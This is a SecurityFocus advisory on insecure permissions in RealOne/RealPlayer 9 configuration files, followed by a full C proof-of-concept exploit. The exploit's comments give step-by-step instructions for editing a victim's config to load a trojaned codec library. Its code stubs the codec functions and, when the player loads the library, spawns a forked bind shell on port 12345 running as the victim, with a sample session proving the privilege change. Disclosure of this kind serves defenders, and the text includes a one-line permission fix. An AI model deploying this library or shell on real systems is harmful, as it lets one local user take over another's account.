source: http://www.securityfocus.com/bid/8571/info

The configuration files for the RealOne Player are installed in the a hidden folder in a users home directory. The issue presents itself, because configuration files stored in this directory are installed with insecure permissions. This means that an attacker, who is in the same group as a target user, may modify RealOne Player configuration files and may thereby escalate privileges to that of the target user. 

/**
 * rp9-priv-esc.c 
 *
 * A local privilege escalation attack against the community supported
 * version of Real.com's Realplayer, version 9.
 *
 * Written by:
 * 	
 * 	Jon Hart <warchild@spoofed.org>
 *
 * By default, configuration files are stored in ~$USER/.realnetworks/, 
 * but all the files in there are group writeable.  So long as ~$USER 
 * has group execution permissions (which is pretty common), a malicious
 * local user can edit the config files of fellow users to do his biddings.  
 *
 * There are a number of ways to attack this, but after some poking it seems
 * that modifying the path to shared libraries and writing my own malicious
 * shared libraries was the easiest.  
 * 
 * (as an aside, just because the shared libraries in the directories contained
 * in ~$USER/.realnetworks/RealShared_0_0/ are stripped doesn't mean we can't get 
 * the symbols back.  objdump quickly can tell us what the names of the 15 
 * functions are, and we can stub out a bogus shared library pretty quickly.)
 *
 * This particular bit of code is meant to replace the shared library 
 * cook.so.6.0, which is contained in the Codecs directory.  To execute this 
 * attack against a fellow local user, first edit their config file 
 * (~victim/.realnetworks/RealShared_0_0) to have the 'dt_codecs' variable
 * point to a directory under your control, like /tmp/Codecs.  Copy all of the 
 * existing files from the previous value of dt_codecs (which is usually something
 * like ~victim/Real/Codecs/) to /tmp/Codecs.  Next, compile the code below as a
 * shared library and copy it to the trojaned directory:
 *
 * 
 * `gcc -shared -fPIC -o /tmp/Codecs/cook.so.6.0 rp9-priv-esc.c`
 *
 *	The next time the victim fires up realplayer 9, a nice little shell 
 * will be listening on port 12345 for you:
 *
 * guest@haiti:/$ id
 * uid=1006(guest) gid=100(users) groups=100(users)
 * guest@haiti:/$ nc localhost 12345
 * id
 * uid=1000(warchild) gid=100(users) groups=100(users),40(src),1003(wheel)
 *
 * Of course, you don't have to execute a shell.  Do whatever makes you happy.
 *
 * Fix?  `chmod 700 ~/.realnetworks/*`
 *
 *  Copyright (c) 2003, Jon Hart 
 * All rights reserved.
 *
 *  Redistribution and use in source and binary forms, with or without modification, 
 *  are permitted provided that the following conditions are met:
 *
 *  * Redistributions of source code must retain the above copyright notice, 
 *    this list of conditions and the following disclaimer.
 *  * Redistributions in binary form must reproduce the above copyright notice, 
 *    this list of conditions and the following disclaimer in the documentation 
 *    and/or other materials provided with the distribution.
 *  * Neither the name of the organization nor the names of its contributors may
 *    be used to endorse or promote products derived from this software without 
 *    specific prior written permission.
 *
 *
 *  THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" 
 *  AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE 
 *  IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE 
 *  ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE 
 *  LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL 
 *  DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR 
 *  SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER 
 *  CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, 
 *  OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE 
 *  USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 *
 *
 *
 *
 */
#define PORT 12345
#include <stdio.h>
#include <signal.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <stdlib.h>

void RAInitEncoder(void) { }
/** This just happens to be one of the first 
 * functions that realplayer calls after cook.so.6.0 is loaded
 */
void RAOpenCodec2(void) { cookthis(); }
void RAOpenCodec(void) {  }
void RAGetNumberOfFlavors(void) {  }
void RACloseCodec(void) {  }
void RADecode(void) {  }
void RAEncode(void) {  }
void RAFreeEncoder(void) {  }
void RAGetNumberOfFlavors2(void) {  }
void RAFreeDecoder(void) {  }
void RAFlush(void) {  }
void RAGetFlavorProperty(void) {  }
void G2(void) { }
void RASetFlavor(void) {  }
void RAInitDecoder(void) {  }
void RACreateEncoderInstance(void) { }

/* Bind /bin/sh to PORT.  It forks
 * and all that good stuff, so it won't 
 * easily go away.
 */
int cookthis() {


        int sock_des, sock_client, sock_recv, sock_len, server_pid, client_pid;
        struct sockaddr_in server_addr; 
        struct sockaddr_in client_addr;

        if ((sock_des = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) == -1)
                exit(EXIT_FAILURE); 

        bzero((char *) &server_addr, sizeof(server_addr));
        server_addr.sin_family = AF_INET; 
        server_addr.sin_addr.s_addr = htonl(INADDR_ANY);
        server_addr.sin_port = htons(PORT);

        if ((sock_recv = bind(sock_des, (struct sockaddr *) &server_addr, sizeof(server_addr))) != 0) 
                exit(EXIT_FAILURE); 
        if (fork() != 0) 
                exit(EXIT_SUCCESS); 
        setpgrp();  
        signal(SIGHUP, SIG_IGN); 
        if (fork() != 0) 
                exit(EXIT_SUCCESS); 
        if ((sock_recv = listen(sock_des, 5)) != 0)
                exit(EXIT_SUCCESS); 
        while (1) { 
                sock_len = sizeof(client_addr);
                if ((sock_client = accept(sock_des, (struct sockaddr *) &client_addr, &sock_len)) < 0)
                        exit(EXIT_SUCCESS); 
                client_pid = getpid(); 
                server_pid = fork(); 
                if (server_pid != 0) { 
                        dup2(sock_client,0); 
                        dup2(sock_client,1); 
                        dup2(sock_client,2);

                        execl("/bin/sh","realplay",(char *)0); 
                        close(sock_client); 
                        exit(EXIT_SUCCESS); 
                } 
                close(sock_client);
        }
}


